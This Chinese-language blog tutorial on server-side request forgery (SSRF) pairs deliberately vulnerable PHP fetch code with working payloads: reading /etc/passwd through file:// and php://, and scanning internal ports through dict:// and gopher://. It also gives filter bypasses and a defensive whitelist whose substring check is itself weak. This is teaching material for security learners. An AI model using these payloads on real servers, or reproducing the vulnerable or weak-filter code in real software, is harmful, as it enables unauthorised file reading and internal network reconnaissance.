本文最后更新于 2024-07-20,文章内容可能已经过时。

一、概述

SSRF: server site request forgery (服务器端请求伪造)。

SSR: 服务端请求,A服务器通过函数向B服务器发送请求。

image-20240318233750859

SSRF发生的前提条件:

1、外网服务器接收到用户的参数,没有做严格的过滤和检查

2、外网服务器在调用内网服务器的时候,使用了用户传入的参数来调用内网服务器的接口。

二、代码样例

外网服务器代码:

<?php
	//注意这里的外网服务器并备有对传入参数做任何校验和过滤,直接调用内网服务器获取文件
	$fileurl = $_GET['file'];
    echo file_get_contents($fileurl);
?>

内网服务器代码:

<?php
	//注意这里内网服务器的代码是根据其他服务器传的文件地址参数来获取文件
    echo file_get_contents($_GET['fname']);
?>

三、场景

1、在线分享
早期的网站可以通过url地址分享内容给其他用户,此时,网站会根据目标网站主页的title或者<meta name="description" content="">标签中的content属性的内容来生成分享链接的,这样可以有更好的用户体验,例如早起的人人网的分享链接http://wiget.renren.com/***/?resourceUrl=http://www.duoduo.com/index.html,这个resourceUrl的值就是目标网站的地址

2.在线转码
有些网站提供代码转换服务,以适应不同的设备展示的需求。例如百度,腾讯等都提供这种服务。可以把自己公司的网页传给转码服务,然后,会自动对代码做适当修改,以适应不同的展示设备的分辨率,字体等等。提高用户体验。此时,这种服务的请求类似于:http://www.baidu.com/convert?resource=http://www.abc.com/index.html

3.在线翻译
跟在线转码差不多

4.图像水印
可以给图片加水印,那么图片的地址就是动态传入的参数。

5.图片或者文章收藏。
收藏保存的文章或图片的url地址,获取的时候,就是传入文章地址参数。



四、探测关键字

在浏览器的查看源代码的功能中,查询包含下列关键字的网页

share
wap
url
link
src
source
target  
u
3g
display
sourceURL
imageURL
domain
location
remote

五、判断SSRF存在

1、有回显

使用请求伪造给外网服务器发请求,看看是否有相应内容,有可能回显内容会经过一些处理,只显示部分内容。

2、无回显

在无任何回显的情况下,可以使用下面的方式进一步判断

(1)DNSlog : 在dnslog.cn上申请一个临时域名,把域名传入给外网的接口

http://192.168.121.128/ssrf/getfiles?file=http://xxx.bbb.ccc

然后去dnslog.cn上查看域名解析的结果,如果能看到,说明传入的参数file的值,是被直接传给内网服务器作为参数的。

(2)租用公网服务器(例如:IP地址是1.112.10.101),测试,并查看日志

把下面文件ssrf.php放在有公网ip的服务器上

<?php
echo "test ssrf";
?>

访问被探测的服务器的请求url

http://192.168.121.128/ssrf/getfiles?file=http://1.112.10.101/ssrf.php

这里就是借助被探测的服务器来访问黑客自己公网服务器上的文件ssrf.php,可以查看黑客的服务器日志,如果请求正常就进入到黑客的公网服务器,那么说明被探测的服务器是直接把file=http://1.112.10.101/ssrf.php作为请求参数传入的。

六、三个函数

我们要分三种情况来讨论,因为对方的外网服务器可能会采取下面这三个函数中的任意一个来请求他的内网服务器,不同的函数利用方式有细微差别

file_get_contents()     可以发送get|post请求
fsockopen()             只能发送get请求
curl_exec()             可以发送get|post请求

1、file_get_contents()

GET请求:
echo file_get_contents($_GET['file']);

POST请求:
$url = $_GET['url'];
$content = $_GET['content'];
$name = $_GET['name'];

$data = "content=$content&name=$name";

$options = ['http'=>[
                    'method'=>'POST',
                    'header'=>"Content-Type:application/x-www-form-urlencoded",
                    'content'=>$data
]];

$context = stream_context_create($options);

echo file_get_contents($url,false,$context);

2、fsockopen()

GET请求:
$f = fsockopen("192.168.32.129",80);

$param="GET /secure21/html/calc.html HTTP/1.1\r\n";
$param.="Host:192.168.32.129\r\n";
$param.="Connection:close\r\n\r\n";

fwrite($f,$param);

while(!feof($f)){
   echo fread($f,1024);
}
fclose($f);

POST请求:
$f = fsockopen("192.168.150.128",80);

$param = "POST /ssrf/1.php HTTP/1.1\r\n";
$param = $param."Host: 192.168.150.128\r\n";
$param = $param."User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0\r\n";
$param = $param."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$param = $param."Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n";
$param = $param."Accept-Encoding: gzip, deflate\r\n";
$param = $param."Connection: Close\r\n";
$param = $param."Content-Type: application/x-www-form-urlencoded\r\n";
$param = $param."Content-Length: 26\r\n\r\n";
$param = $param."content=hello&name=zhangan";


fwrite($f,$param);
while(!feof($f)){
    echo fread($f,1024);
}

fclose($f);

3、curl_exec()

get请求:
$cu = curl_init();  curl_setopt($cu,CURLOPT_URL,"http://192.168.32.129/secure21/html/calc.html");
curl_setopt($cu,CURLOPT_HEADER,0);//不输出响应头
curl_exec($cu);
curl_close($cu);

post请求:
$cu = curl_init();    $arr[CURLOPT_URL]="http://192.168.32.129/secure21/php/demo6.php";
$arr[CURLOPT_HEADER]=0;//不输出响应头
$arr[CURLOPT_RETURNTRANSFER]=1;//设置接受返回值
$arr[CURLOPT_POST]=1;//请求方式
$arr[CURLOPT_POSTFIELDS]="content=ssrfcurl_exec&name=post";//请求参数

curl_setopt_array($cu,$arr);

echo curl_exec($cu);
curl_close($cu);
?>

七、SSRF危害

1、可以对服务器外网,内网进行端口扫描

2、通过外网服务器,获取内网服务器的一些资源

3、探测一些应用程序的指纹信息

http://192.168.150.128/ssrf/curlweb.php?f=dict://192.168.150.129:3306/info

curlweb.php代码

<?php

$url=$_GET['f'];
$cu = curl_init();
curl_setopt($cu,CURLOPT_URL,$url);
curl_setopt($cu,CURLOPT_HEADER,0);//响应头不输出
curl_exec($cu);
curl_close($cu);
?>

如果mysql在3306端口运行那么会返回一些信息。

image-20240325111914726

4、攻击内外网的web应用(例如sql注入等)

5、利用file,dict,gopher,http,https等协议读取本地文件,访问敏感目标,反弹shell等高危操作

gopher也可以用来探测mysql的指纹信息

八、利用

1、读取存在ssrf漏洞系统所在服务器的本地文件

(1)针对使用file_get_contents的情况:payload

http://192.168.121.128/ssrf/getfiles?file=/etc/passwd

(2)针对使用curl_exec的情况:payload:(file://是文件访问协议)

http://192.168.121.128/ssrf/curlgetfiles?file=file:///etc/passwd

还可以使用其他的伪协议

http://192.168.121.128/ssrf/curlgetfiles?file=php://input

post data:
{"name":"zhangsan","age":12}

其他伪协议可以参考文件包含的部分

2、远程资源获取

1、通过http扫ip

http://192.168.121.128/ssrf/getfiles?file=http://192.168.12.127 #有返回说明有服务开启
http://192.168.121.128/ssrf/getfiles?file=http://192.168.12.126 #没有返回说明没有服务开启
如此测试可以发现内网存在哪些开放80端口的应用

2、通过dict扫端口

注意这个协议不能跟file_get_contents一起使用。可以跟curl_exec()一起用

http://192.168.121.128/ssrf/getcurlfiles?file=dict://192.168.12.127:8000 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?file=dict://192.168.12.126:8000 #没有返回说明没有服务开启

3、gopher也可以扫端口(不能跟file_get_contents一起使用)

http://192.168.121.128/ssrf/getcurlfiles?file=gopher://192.168.12.127:80 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?file=gopher://192.168.12.126:80 #没有返回说明没有服务开启

九、防御

1、白名单:限制ip和域名

2、白名单:限制端口

3、白名单:限制协议;

注意白名单限制一定要写完整的白名单,例如:定义一个数组,把能访问的文件列表放进数组

whiteList = ["http://192.168.12.128/files/tcp/alluser.txt","http://192.168.12.128/files/tcp/depts.txt"]

判断的时候,请求的url路径也需要跟上面数组定义的完全吻合才可以放行。

白名单中不能只放入ip地址,后者域名,那样很容易被绕过,例如whiteList=["192.168.12.128","192.168.12.129"]

这种白名单很容易被绕过

http://192.168.12.128@102.168.123.122/file/tcp/allusers.txt

注意192.168.12.128@102.168.123.122的意思是要访问102.168.123.122的主机,使用192.168.12.128作为登录的用户名。

4、用户需要认证。每次请求要验证用户的身份,需要先获取令牌,或者登录。

5、屏蔽底层错误信息,避免用户根据错误信息来判断服务器的端口状态

6、限制重定向操作

当使用curl_exec()函数的时候,可以设置参数CURLOPT_FOLLOWLOCATION=false来限制header("Location:list.php")这种通过响应头的重定向机制,不能限制js端的重定向。
如果要向限制js端的重定向,需要对响应的内容进行判断,查找其中的location.href这类的字样

<?php
$flag = 2;//表示不允许
$whilelist = ["192.168.150.129","192.168.150.131"];
$url = $_GET['f'];
foreach($whilelist as $ip){
    if(strpos($url,$ip)){
        $flag = 1;//允许访问
        break;
    }
}
if($flag==1){
    $cu = curl_init();
    curl_setopt($cu,CURLOPT_URL,$url);
    curl_setopt($cu,CURLOPT_HEADER,0);//响应头不输出
    curl_setopt($cu,CURLOPT_RETURNTRANSFER,true);//执行curl_exec()拿到结果,不回显给浏览器
    $res =  curl_exec($cu);
    if(strpos($res,"location.href")==false){
      echo $res;
    }else{
       die('location.href exists');
    }
    curl_close($cu);
}else{
    die("fail");
}
?>

========被访问的html的代码============

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>

    <h1>192.168.150.129</h1>
</body>
<script>
   location.href="http://192.168.150.129/userinfo";
</script>
</html>

7、避免直接使用请求带来的参数,可以根据请求的参数,转成请求对应资源。这种相当于写死了能够请求的资源

$re = $_GET['f']
if($re==1){
   请求:http://102.168.123.122/file/tcp/allusers.txt
}
if($re==2){
   请求:http://102.168.123.122/file/tcp/depts.txt
}

8、限制url请求的长度

十、绕过

1、IP地址使用十进制

工具网站:https://www.bejson.com/convert/ip2int/

http://1696940379

这种可以绕过使用了黑名单限制后台程序。

2、生成短链接可以绕过针对url地址长度的限制。